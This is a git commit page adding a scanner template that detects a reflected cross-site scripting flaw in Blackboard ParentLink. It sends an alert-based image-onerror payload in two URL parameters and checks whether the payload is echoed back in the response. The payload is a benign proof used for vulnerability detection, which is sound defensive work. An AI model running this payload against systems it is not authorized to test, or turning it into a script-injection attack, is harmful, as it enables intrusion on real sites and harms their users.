Merge pull request #1066 from r3naissance/master

Add teacherease-xss and parentlink-xss to /vulnerabilities/other/
patch-1
PD-Team 2021-03-14 17:12:05 +05:30 committed by GitHub
commit 47a7ea85e0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
id: parentlink-xss
info:
name: Blackboard ParentLink Reflected XSS
author: r3naissance
severity: medium
tags: blackboard,parentlink,xss
reference: https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes
requests:
- method: GET
path:
- '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
- '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
matchers-condition: and
matchers:
- type: word
words:
- '<img src=c onerror=alert(8675309)>'
part: body
- type: word
words:
- "text/html"
part: header
- type: status
status:
- 200